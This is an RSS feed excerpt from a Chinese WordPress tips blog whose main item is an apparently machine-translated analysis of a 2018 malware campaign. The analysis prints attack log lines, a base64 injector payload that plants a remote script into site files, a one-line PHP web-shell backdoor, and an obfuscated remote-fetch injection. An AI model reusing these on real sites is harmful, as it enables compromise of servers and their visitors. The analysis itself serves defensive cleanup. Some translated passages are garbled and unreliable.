string">'HTTP_ACCEPT'</code><code class="php plain">], </code><code class="php string">'text/html'</code><code class="php plain">)))) {</code></div>
<div class="line number24 index23 alt1"><code class="php spaces">      </code><code class="php keyword">return</code> <code class="php plain">true;</code></div>
<div class="line number25 index24 alt2"><code class="php spaces">    </code><code class="php plain">} </code></div>
<div class="line number26 index25 alt1"><code class="php spaces">  </code><code class="php plain">} </code></div>
<div class="line number27 index26 alt2"><code class="php spaces">  </code><code class="php keyword">return</code> <code class="php plain">false;</code></div>
<div class="line number28 index27 alt1"><code class="php plain">}</code></div>
<div></div>
<div>2、判断是否是微信内置浏览器</div>
<div>
<div class="jb51code">
<div>
<div id="highlighter_420461" class="syntaxhighlighter  php ">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="php keyword">function</code> <code class="php plain">isWeixin() { </code></div>
<div class="line number2 index1 alt1"><code class="php keyword">if</code> <code class="php plain">(</code><code class="php functions">strpos</code><code class="php plain">(</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">'HTTP_USER_AGENT'</code><code class="php plain">], </code><code class="php string">'MicroMessenger'</code><code class="php plain">) !== false) { </code></div>
<div class="line number3 index2 alt2"><code class="php keyword">return</code> <code class="php plain">true; </code></div>
<div class="line number4 index3 alt1"><code class="php plain">} </code><code class="php keyword">else</code> <code class="php plain">{</code></div>
<div class="line number5 index4 alt2"><code class="php keyword">return</code> <code class="php plain">false; </code></div>
<div class="line number6 index5 alt1"><code class="php plain">}</code></div>
<div class="line number7 index6 alt2"><code class="php plain">}</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<p>示例：</p>
<p>&lt;?php if(isMobile() or isWeixin()) { ?&gt;<br />
&lt;script&gt;jQuery(&#8216;a[rel=&#8221;nolink&#8221;]&#8217;).attr(&#8216;href&#8217;,&#8217;javascript:;&#8217;); &lt;/script&gt;<br />
&lt;?php }?&gt;</p>
</div>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/php%e5%88%a4%e6%96%ad%e6%98%af%e4%b8%8d%e6%98%af%e6%89%8b%e6%9c%ba%e6%b5%8f%e8%a7%88%e5%99%a8%e4%bb%a3%e7%a0%81/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>wordpress: Catchable fatal error: Object of class WP_Error could not be converted to string解决方案</title>
		<link>https://www.3code.cn/wordpress-catchable-fatal-error-object-of-class-wp_error-could-not-be-converted-to-string%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/</link>
					<comments>https://www.3code.cn/wordpress-catchable-fatal-error-object-of-class-wp_error-could-not-be-converted-to-string%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Sun, 02 Sep 2018 08:42:15 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3841</guid>

					<description><![CDATA[这个问题看起来像是一个标准的HTTP 500——应用程序错误，阻止了任何非缓存页面。具体错误如下： <a class="moretag" href="https://www.3code.cn/wordpress-catchable-fatal-error-object-of-class-wp_error-could-not-be-converted-to-string%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>这个问题看起来像是一个标准的HTTP 500——应用程序错误，阻止了任何非缓存页面。具体错误如下：</p>
<p>Catchable fatal error: Object of class WP_Error could not be converted to string in /var/www/ryadel.com\wp-includes\rewrite.php on line 326</p>
<p>情况正在形成：根本原因很可能是I/O权限问题，导致WP_Error对象被写入MySQL表，而不是预期的类别名称。虽然我不能确定这是WordPress代码问题还是MySQL问题，但是所有的线索都导致了前者（Worpdress构建是4.8，它在发布前几天才发布）。</p>
<p>使用SQLyog的快速筛选搜索帮助我找到真正令人不快的值在哪里：wp_options表中的<strong>category_base</strong>选项。</p>
<p>删除<strong>category_base</strong>键中的所有内容并留空，实际上起到了作用，使网站恢复正常。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/wordpress-catchable-fatal-error-object-of-class-wp_error-could-not-be-converted-to-string%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>配置https后wordpress后台无法登录提示将您重定向的次数过多</title>
		<link>https://www.3code.cn/https-wordpress/</link>
					<comments>https://www.3code.cn/https-wordpress/#comments</comments>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 31 Aug 2018 15:49:30 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3839</guid>

					<description><![CDATA[配置https后wordpress后台无法登录提示将您重定向的次数过，只需要在网站根目录的wp-co<a class="moretag" href="https://www.3code.cn/https-wordpress/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>配置https后wordpress后台无法登录提示将您重定向的次数过，只需要在网站根目录的wp-config.php开头加入以下代码，即可完美解决此问题：</p>
<p>$_SERVER[&#8216;HTTPS&#8217;] = &#8216;on&#8217;;<br />
define(&#8216;FORCE_SSL_LOGIN&#8217;, true);<br />
define(&#8216;FORCE_SSL_ADMIN&#8217;, true);</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.3code.cn/https-wordpress/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress中了病毒木马打开后会跳转到unverf.com这种网址上</title>
		<link>https://www.3code.cn/wordpress%ef%bc%8dunverf-com/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Sat, 25 Aug 2018 06:16:16 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3829</guid>

					<description><![CDATA[WordPress中了病毒木马打开后会跳转到unverf.com这种网址上 今年八月，我们看到了一个<a class="moretag" href="https://www.3code.cn/wordpress%ef%bc%8dunverf-com/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>WordPress中了病毒木马打开后会跳转到unverf.com这种网址上</p>
<p>今年八月，我们看到了一个新的WordPress感染浪潮，将访问者引导到不需要的网站。</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-3830" src="https://www.3code.cn/download/2018/08/maliciousredirect-650x306.png" alt="" width="650" height="306" /></p>
<p>重定向时，用户会看到带有随机UTRORO[.] COM地址和假ReaPTCHA图像的恼人页面。消息和内容试图说服访问者验证和订阅浏览器通知，而不会泄露此行为的目的。<br />
替代重定向URL包括：</p>
<pre>hxxp://<b>murieh[.]space</b>/?h=930130016_dc950a456f7_100&amp;h_l=&amp;h_5=sub_id_2&amp;h_2=def_sub
hxxps://<b>unverf[.]com</b>/?h=930130016_dc950a456f7_100&amp;h_l=&amp;h_5=sub_id_2&amp;h_2=def_sub</pre>
<p><strong>注入脚本</strong></p>
<p>注入的恶意软件包含以下两个站点中的一个脚本：CDN.EdUnEng[.] COM和CDN。</p>
<p>前者在运动的初期阶段使用，后者在一周后被引入。然而，由于懒惰或糟糕的编码技巧，攻击者没有删除之前注入的代码，当他们重新感染网站的新版本的恶意软件-所以您可以在同一个网站上找到两个脚本。</p>
<pre>...
&lt;script type='text/javascript' src='hxxps://<b>cdn.eeduelements[.]com/jquery.js</b>?ver=1.0.8'&gt;&lt;/script&gt;
&lt;script type='text/javascript' src='hxxps://<b>cdn.allyouwant[.]online/main.js</b>?t=lp1'&gt;&lt;/script&gt;&lt;/head&gt;
...</pre>
<p>在写作的那一刻，我们看到了1700个站点其中 <b>cdn.eeduelements[.]com</b> script  有1700+网站，<b>cdn.allyouwant[.]online</b> 有500+网站受影响。</p>
<p><strong>模糊脚本</strong></p>
<p>不过，向外部脚本添加纯文本引用只是该活动使用的一种类型的注入。我们也看到了来自同一个域的模糊脚本的各种修改。</p>
<p>For example, this code adds the “hxxps://<b>cdn.allyouwant[.]online/main.js</b>?t=ac” script to a page</p>
<p><img decoding="async" class="aligncenter size-full wp-image-3831" src="https://www.3code.cn/download/2018/08/obfuscatedallyouwantscript-650x102.png" alt="" width="650" height="102" /></p>
<p>And this code uses the <b>src.eeduelements[.]com/get.php</b> address to fetch a URL that contains a redirect script. At this moment, I can see <b>hxxps://gabemastery[.]ml/ton.js</b> there.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-3832" src="https://www.3code.cn/download/2018/08/obfuscatedeeduelecmentsscript-650x180.png" alt="" width="650" height="180" /></p>
<p><strong>主攻击向量</strong></p>
<p>造成这一波感染的主要原因是tagDiv主题中的旧漏洞，以及流行的Ultimate Member插件中新发现（并且已经修复）的漏洞，该插件拥有100000多个活动安装。</p>
<p>对于TAGDIV主题，一个典型的注入看起来是这样的：</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3833" src="https://www.3code.cn/download/2018/08/malwareinjectedvianewsmagvulnerability-650x255.png" alt="" width="650" height="255" /></p>
<p><strong>测井分析</strong></p>
<p>对于没有TAGDIV主题的网站，感染载体最初并不清楚。像往常一样，原始日志分析帮助我们找到被利用的安全漏洞。</p>
<p>接下来的会议看起来非常可疑：</p>
<pre><b>185.177.59.23</b> - - [11/Aug/2018:10:24:59 -0700] "POST /wp-content/plugins/<b>ultimate-member/core/lib/upload/um-image-upload.php</b> HTTP/1.1" 200 183 "-" "Go-http-client/1.1"

<b>185.177.59.23</b> - - [11/Aug/2018:10:25:02 -0700] "GET /wp-content/uploads/ultimatemember/temp/xJiEq0SCtv7MVS1H8Gbqfw26dOyzJihc5nlgEl7j/<b>stream_photo_d41e21781c3fad9e1f22c1c4ba60e3c7_5b6f1bed7cf51.php</b> HTTP/1.1" 200 4731 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

<b>185.177.59.23</b> - - [11/Aug/2018:10:25:02 -0700] "GET /wp-content/uploads/ultimatemember/temp/xJiEq0SCtv7MVS1H8Gbqfw26dOyzJihc5nlgEl7j/<b>n.php</b>?q=<b>ZWNobyAiNTQzNjQ1NiI7</b> HTTP/1.1" 200 27 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
</pre>
<p>在对Ultimate Member插件的um-image-upload.php文件发出POST请求之后，有人请求了与前一个请求上传的文件相同的文件。更令人怀疑的是，上传的文件具有.php扩展名（stream_._d41e21781c3fad9e1f22c1c4ba60e3c7_5b6f1bed7cf51.php），而插件应该只上传图像文件。</p>
<p>几乎是紧接着的，同一个用户访问了同一个目录中的另一个PHP文件（n.php），其中Ultimate Member插件上传了前一个文件。请求有“？”q= ZWONBYNYQQNJQ1NII7“获取参数，转换为“回声”5436456”；</p>
<p>考虑到来自同一访问者的所有三个连续请求具有不同的用户-代理字符串，很明显这是黑客攻击——成功的黑客攻击。</p>
<p>此时，尚不清楚这种攻击是否与我们调查的重定向有关，或者是否是一种无关的感染。</p>
<p>然后我们从同一个IP找到这个请求：</p>
<pre><b>185.177.59.23</b> - - [11/Aug/2018:16:22:40 -0700] "GET /wp-content/uploads/ultimatemember/temp/QkqkY6iF0xN5L3r5tAtwi9rIPeTRAFxsUcYNbfVr/<b>n.php</b>?q=JGEgPSAnZmluZCAvIC10eXBlIGYgLW5hbWUgIipoZWFkKiIgfCB4YXJncyBncmVwIC1ybCAiPGhlYWQiJzsKJGwxID0gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vY2RuLmVlZHVlbGVtZW50cy5jb20vanF1ZXJ5LmpzP3Zlcj0xLjAuOCc+PC9zY3JpcHQ+IjsKJHQgPSBzaGVsbF9leGVjKCRhKTsKJHQgPSBleHBsb2RlKCJcbiIsIHRyaW0oJHQpKTsKZm9yZWFjaCgkdCBhcyAkZil7CgkKJGcgPSBmaWxlX2dldF9jb250ZW50cygkZik7CmlmIChzdHJwb3MoJGcsICdlZWR1ZWxlbWVudHMnKSAhPT0gZmFsc2UpIHsKICAgZWNobyAiZToiLiRmOwp9IGVsc2UgewokZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKJGcgPSBzdHJfcmVwbGFjZSgiPGhlYWQ+IiwiPGhlYWQ+Ii4kbDEsJGcpOwokZyA9IHN0cl9yZXBsYWNlKCI8L2hlYWQ+IiwkbDEuIjwvaGVhZD4iLCRnKTsKQHN5c3RlbSgiY2htb2QgNzc3ICIuJGYpOwpAZmlsZV9wdXRfY29udGVudHMoJGYsJGcpOwokZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKaWYgKHN0cnBvcygkZywgJ2VlZHVlbGVtZW50cycpICE9PSBmYWxzZSkgewogICBlY2hvICRmOwp9IAp9Cn0= HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"</pre>
<p>GET请求是用于类似上传的后门N.PHP，但这次Base64编码的有效载荷要长得多。</p>
<p>这里是解码的有效载荷：</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3834" src="https://www.3code.cn/download/2018/08/injectorinthedecodedpayload-650x430.png" alt="" width="650" height="430" /></p>
<p>答对了！很明显，这个代码在名字中搜索“头”文件，在内容里面搜索“头”标签。然后，它就在&lt;head&gt;标记之后和关闭的&lt;/head&gt;标记之前注入恶意cdn.eedu.[.]com/jquery.js脚本。</p>
<p>车用喷油器</p>
<p>这个注射器代码有点过火了。大多数受感染的网页具有相同恶意脚本的多个夹杂物。</p>
<p>这不是注射器唯一的问题。这个代码没有考虑PHP注释中的“头”字。结果，我们看到脚本也被注入评论中。</p>
<p>jQuery文件</p>
<p>脚本的模糊版本只应该被注入到JavaScript文件中。然而，这也没有做好。攻击者决定在任何文件顶部注入它，文件名中包含“jquery”，内容中包含“jQuery”。</p>
<pre>find / -type f -name "*jquery*" | xargs grep -rl "jQuery"</pre>
<p>常见的疑点如wp-include/js/jquery/jquery.js和wp-include/js/jquery/jquery-migrate.min.js不是唯一受感染的文件。由于Bug注入器，第三方主题和插件中的许多文件受到影响，包括：</p>
<ul>
<li>wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js,</li>
<li>wp-content/plugins/elementor/assets/lib/jquery-easing/jquery-easing.js</li>
<li>wp-content/plugins/gp-premium/page-header/functions/js/jquery.vide.min.js</li>
</ul>
<p>Non-JS files have also been affected. For example, the script was injected into the WordPress core CSS files: <b>wp-includes/css/jquery-ui-dialog-rtl.min.css</b>, <b>wp-includes/css/jquery-ui-dialog.min.css</b>, etc.</p>
<p>PHP注入</p>
<p>在一些网站上，我们发现了一个恶意软件的变体，它将以下代码注入PHP文件：</p>
<pre>&lt;?php error_reporting(0); ini_set(chr(<b>100</b>).chr(105).chr(115).chr(112).chr(108).chr(97).chr(121).chr(95).chr(101).chr(114).chr(114).chr(111).chr(114).chr(<b>115</b>), 0); <b>echo @file_get_contents</b>(chr(<b>104</b>).chr(116).chr(116)<b>....skipped...</b>.chr(46).chr(106).chr(<b>115</b>)); ?&gt;

</pre>
<p>The code injects content from the <b>hxxps://alsutrans[.]com/stats.js</b> URL (which is basically the same obfuscated JavaScript that we described above) into web pages.</p>
<p>The main problem with this variation is that it injects the code before the “<b>&lt;?php</b>” tag and assumes that only one such tag exists at the top of the file. Anyone familiar with PHP knows that this is not true and many PHP files (especially WordPress theme files) have multiple “<b>&lt;?php</b>” tags.</p>
<p>As a result, infected files usually look like this:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3835" src="https://www.3code.cn/download/2018/08/multipleinjectionsinPHP-650x468.png" alt="" width="650" height="468" /></p>
<p>这导致生成的网页中有几十个注入脚本。此外，当代码在标签内注入时，该代码经常会中断HTML标记，如图所示：</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3836" src="https://www.3code.cn/download/2018/08/injectionsandbrokenHTMLmarkup-650x360.png" alt="" width="650" height="360" /></p>
<p>当黑客在Ultimate Member插件中使用安全漏洞变得更加清楚时，我们决定检查它是否是某些旧的漏洞，比如tagDiv主题的漏洞，或者是一些相对较新的漏洞。</p>
<p>最终成员插件中的漏洞</p>
<p>事实证明，最终的成员插件在几天前修复了一些安全问题，包括一个未经验证的任意文件上传漏洞，该漏洞在2018年8月9日被修复。</p>
<p>2.0.23：2018年8月10日</p>
<p>Bugfixes：</p>
<p>固定文件/图像上传器</p>
<p>2.0.22: 2018年8月9日</p>
<p>…</p>
<p>Bugfixes：</p>
<p>…</p>
<p>固定安全漏洞（文件/图像上传）</p>
<p>在补丁被修补之前，这些攻击是在野外发现的。一旦发布了关于固定问题的信息，黑客就不用太长时间就将漏洞添加到工具包中。</p>
<p>在我们分析的日志中，我们看到了第一次成功的尝试利用安全漏洞在8月11日，就在发布版本2.0.22的两天之后，最初解决了这个问题。大约在那个时候，我们登记了越来越多的感染包括在这篇文章中。这再一次证明，网站所有者在一个漏洞的披露和第一次大规模尝试利用它之间有很短的窗口——特别是对于流行的主题和插件。</p>
<p>攻击场景</p>
<p>现在我们已经了解了Ultimate Member插件的问题（在v 2.0.22之前），我们可以重构一个典型的攻击场景。</p>
<p>首先，黑客在WordPress网站上搜索最终成员插件的存在。</p>
<p>当他们发现它时，他们使用漏洞上传虚假图像，这通常是一个带有PHP代码的图像文件。这个假图像在WP内容/上载/最后一个/TEMP的随机查找的子目录中以一个半随机名称结束。下面的例子。</p>
<pre><b>wp-content/uploads/ultimatemember/temp/WdSGzebLWHdyFKBxnl8WeVH79qLeLCBTlZlmpik9/stream_photo_1629b0420ba2002e27f81ee0f7164a19_5b70072a3a639.php</b>
</pre>
<p>That file is then used to create a more generic backdoor <b>n.php</b> in the same folder.</p>
<pre>&lt;?php file_put_contents('<b>sdgsdfgsdg</b>','<b><i>&lt;?php</i></b><i> '.base64_decode(</i><b><i>$_REQUEST['q']</i></b>)); include('<b>sdgsdfgsdg</b>'); unlink('<b>sdgsdfgsdg</b>'); ?&gt;</pre>
<p>这个后门保存了一个临时文件“SDGSDFGSDG”中的“Q”请求参数中传递的任意PHP代码。然后通过将它包含到当前脚本中来执行它。</p>
<p>对新创建的N.PHP后门的初始请求带有参数“？Q= ZWONBYNYTQZNJQ1NII7“打印预定义字符串“5436456”，用于确保后门正确工作。</p>
<p>之后，攻击者使用这个后门将各种不同的恶意代码注入到服务器上的文件中。</p>
<p>一般情况下，当下面的条件满足时，两种类型的文件被感染：</p>
<p>包含“头”标签的文件，并在名称中有“头”。通常这包括Heal.PHP文件。</p>
<p>在它们的内容中包含“jQuery”一词的文件和“jQuery”的名称。</p>
<p>每隔几天，黑客就会返回并重新使用n.php后门（或者上传一个新的后门）以重新感染恶意代码的新版本。由于注射器质量差，你可能会发现不同版本的恶意软件坐在同一个文件中。</p>
<p>交叉部位感染</p>
<p>恶意软件注入器开始从服务器根搜索合格的文件（查找/…）。因此，此攻击试图感染任何合适的可写文件，甚至是初始折衷站点目录之外的文件。</p>
<p>在大多数宿主环境中，成功的感染将限于属于一个服务器帐户的文件。但是，如果帐户有多个站点，则所有站点都将被感染（即使它们没有Ultimate Member插件或任何易受攻击的组件）。非WordPress网站也会受到感染。此外，所有共享相同帐户的邻近站点将继续再次感染，除非所有站点都经过适当清理和硬化。</p>
<p>缓解</p>
<p>这种攻击使用几种不同的感染向量和恶意代码的多种变体。在这里，我们将尝试覆盖最常见的缓解措施。</p>
<p>确保更新所有的主题和插件。如果您的站点使用Ultimate Member（比2.0.23还老）插件，或者tagDiv的主题之一（Newspaper、Newsmag等），则这一点尤其重要。</p>
<p>在TAGDIV攻击向量的情况下，恶意软件可以在主题的管理界面中找到并移除。主题面板&gt;广告&gt;标题广告，或在“自定义HTML”小部件中。或者，您可以直接使用WordPress数据库，但是要仔细清理序列化代码。</p>
<p>在Ultimate Member攻击向量的情况下，删除wp-content/uploads/ultimate./temp/子目录下的所有PHP文件（对于奖励点，禁用此文件夹中PHP文件的执行），然后从“header”和“jquery”文件中删除本文中提到的恶意代码S.</p>
<p>确保所有共享相同服务器帐户的网站，甚至那些没有任何易受攻击的主题和插件的网站，都要进行清理和加固。如果你不能做到这一点，你的网站可能会很快被重新感染。</p>
<p>这个活动经常改变注入的代码和受影响的文件，这些指令不是决定性的。请咨询我们关于清理WordPress站点的指南，以找到更多的通用说明，帮助您处理大多数类型的WordPress感染。</p>
<p><strong>结论</strong></p>
<p>这种大规模感染清楚地表明了零日攻击是如何发生的，并且在脆弱性窗口期间指数增长。</p>
<p>当漏洞被披露时，机会主义攻击的数量通常会立即增加。黑客警惕和密切监视流行主题和插件的变化。如果一个坏演员看到安全问题已经得到修复，他们将尝试为旧版本创建漏洞，以针对尚未修补到最新可用版本的易受攻击站点。</p>
<p>及时更新所有现场部件是非常重要的，以尽量减少感染的风险。如果您担心无法维护对主题、CMS和插件的更新，那么最好的选择是网站防火墙，它可以阻止大多数新的攻击。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress后台无法登录，登录成功后老是自动跳转到wp首页的解决办法</title>
		<link>https://www.3code.cn/wordpress-login-fail/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Thu, 23 Aug 2018 15:03:46 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3827</guid>

					<description><![CDATA[最近遇到两三次说Wordpress后台登录不进去，老是跳到首页，查阅了很多资料，比如：wordpre<a class="moretag" href="https://www.3code.cn/wordpress-login-fail/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>最近遇到两三次说Wordpress后台登录不进去，老是跳到首页，查阅了很多资料，比如：wordpress后台登录不了,一直停留在登录页面的三种解决办法，wordpress后台无法登陆出现死循环解决方案，wordpress后台登陆不上的原因_百度经验，WordPress后台地址被改导致无法登陆后台的简单解决方法，wordpress后台帐号密码正确登录不上去解决方法，等等都无法解决。</p>
<p>最终还是想到数据库的问题，原来是数据库有一个表格损坏，修复下数据库就好了！</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>方便wpml识别的静态文本字符串string翻译的书写格式</title>
		<link>https://www.3code.cn/%e6%96%b9%e4%be%bfwpml%e8%af%86%e5%88%ab%e7%9a%84%e9%9d%99%e6%80%81%e6%96%87%e6%9c%ac%e5%ad%97%e7%ac%a6%e4%b8%b2string%e7%bf%bb%e8%af%91%e7%9a%84%e4%b9%a6%e5%86%99%e6%a0%bc%e5%bc%8f/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Thu, 29 Mar 2018 09:43:44 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3809</guid>

					<description><![CDATA[方便wpml识别的静态文本字符串string翻译的书写格式 &#60;?php esc_html_e(<a class="moretag" href="https://www.3code.cn/%e6%96%b9%e4%be%bfwpml%e8%af%86%e5%88%ab%e7%9a%84%e9%9d%99%e6%80%81%e6%96%87%e6%9c%ac%e5%ad%97%e7%ac%a6%e4%b8%b2string%e7%bf%bb%e8%af%91%e7%9a%84%e4%b9%a6%e5%86%99%e6%a0%bc%e5%bc%8f/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>方便wpml识别的静态文本字符串string翻译的书写格式</p>
<p>&lt;?php esc_html_e(&#8216;Text&#8217;, &#8216;domain&#8217;); ?&gt;</p>
<p>这样子后台string翻译那里就可以获取到这个字符串。Text是字符串，Domain是域。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Centos httpd.conf文件位置及htaccess伪静态配置-wordpress</title>
		<link>https://www.3code.cn/centos-httpd-conf-htaccess-wordpress/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 09 Mar 2018 10:05:17 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3806</guid>

					<description><![CDATA[centos的配置文件放在： /etc/httpd/conf/httpd.conf 什么是mod_r<a class="moretag" href="https://www.3code.cn/centos-httpd-conf-htaccess-wordpress/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>centos的配置文件放在： /etc/httpd/conf/httpd.conf</p>
<p>什么是mod_rewrite?<br />
mod_rewrite是一个基于一定规则的实时重写URL请求的引擎。此模块可以操作URL的所有部分，在服务器级的(httpd.conf)和目录级的(.htaccess)配置都有效。<br />
启用mod_rewrite模块<br />
#LoadModule rewrite_module modules/mod_rewrite.so</p>
<p>设置重写目录<br />
&lt;Directory &#8220;/var/www&#8221;&gt;<br />
Options Indexes FollowSymLinks<br />
AllowOverride All<br />
&lt;/Directory&gt;<br />
&lt;Directory&gt;&lt;/Directory&gt;封装一组指令，使之对某个目录及其子目录生效。<br />
Options 控制在特定目录中将使用哪些服务器特性</p>
<p>然后重启服务器，service httpd restart ,这样.htaccess就可以使用了。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WORDPRESS 安装插件提示无法创建目录</title>
		<link>https://www.3code.cn/wordpress-create-dir/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 09 Mar 2018 10:01:14 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3804</guid>

					<description><![CDATA[WordPress 安装插件 提示 “无法创建目录”，这个是由于目录的权限设置导致的，一般情况下可以<a class="moretag" href="https://www.3code.cn/wordpress-create-dir/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>WordPress 安装插件 提示 “无法创建目录”，这个是由于目录的权限设置导致的，一般情况下可以直接给目录/wp-content目录下面的plugins themes uploads upgrade目录增加 777 权限即可，但是这样做会导致服务器配置的不够安全，因此找到个更合适的方案处理。</p>
<p>前提，服务器系统为Ubuntu 12.04 版本，几个目录的默认所有者为 root，使用的FTP为 vsftpd ,服务器为 Apache2 ,这些条件主要限制了默认的用户组名字，如果系统不同，用户组的名字可能需要调整一下。</p>
<p>1.给这几个目录 755 权限，即，只有所有者才有权限写入。</p>
<p>2.逐个授权，vsftpd 的默认用户分组为ftpgroup，用户名自定义的，我们假定为 ftpuser. Apache2 的用户分组默认都为www-data，其中plugins themes upgrade目录主要是ftp安装插件用的，因此写入权限只要给ftpuser 就可以了，其他用户读取权限足够了。而uploads目录是上传图片资源文件的目录，因此只要给www-data 用户写入权限就可以了。</p>
<p>这样子，基本就安全多了。</p>
<p>也即是：利用chmod命令修改目录权限，chown修改用户组</p>
<p>chown -R apache:root html<br />
html是你的文件夹名称，权限问题</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress如何让新注册用户默认不显示工具栏adminbar toolbar topbar</title>
		<link>https://www.3code.cn/wordpress-new-user-adminbar-toolbar-topbar/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 11 Mar 2016 14:23:20 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3718</guid>

					<description><![CDATA[WordPress如何让新注册用户默认不显示工具栏adminbar toolbar topbar??<a class="moretag" href="https://www.3code.cn/wordpress-new-user-adminbar-toolbar-topbar/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p><strong>WordPress如何让新注册用户默认不显示工具栏adminbar toolbar topbar??</strong></p>
<p>在当前主题目录下的functions.php中加入以下php代码，即可实现上面的需求：</p>
<p>add_action<span class="br0">(</span><span class="st0">&#8220;user_register&#8221;</span><span class="sy0">,</span> <span class="st0">&#8220;set_user_admin_bar_false_by_default&#8221;</span><span class="sy0">,</span> <span class="nu0">10</span><span class="sy0">,</span> <span class="nu0">1</span><span class="br0">)</span><span class="sy0">;</span><br />
<span class="kw2">function</span> set_user_admin_bar_false_by_default<span class="br0">(</span><span class="re0">$user_id</span><span class="br0">)</span> <span class="br0">{</span><br />
update_user_meta<span class="br0">(</span> <span class="re0">$user_id</span><span class="sy0">,</span> <span class="st_h">&#8216;show_admin_bar_front&#8217;</span><span class="sy0">,</span> <span class="st_h">&#8216;false&#8217;</span> <span class="br0">)</span><span class="sy0">;</span><br />
update_user_meta<span class="br0">(</span> <span class="re0">$user_id</span><span class="sy0">,</span> <span class="st_h">&#8216;show_admin_bar_admin&#8217;</span><span class="sy0">,</span> <span class="st_h">&#8216;false&#8217;</span> <span class="br0">)</span><span class="sy0">;</span><br />
<span class="br0">}</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress后台显示选项(Screen Option Menus)不工作点不开(not working)</title>
		<link>https://www.3code.cn/wordpress-screen-option-menus-not-working/</link>
		
		<dc:creator><![CDATA[寒林]]></dc:creator>
		<pubDate>Fri, 08 May 2015 04:59:30 +0000</pubDate>
				<category><![CDATA[WORDPRESS主题技术]]></category>
		<guid isPermaLink="false">https://www.3code.cn/?p=3702</guid>

					<description><![CDATA[当安装好Wordpress后，后台进去右上角的“显示选项”按钮菜单点不开。 I&#8217;ve i<a class="moretag" href="https://www.3code.cn/wordpress-screen-option-menus-not-working/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>当安装好Wordpress后，后台进去右上角的“显示选项”按钮菜单点不开。</p>
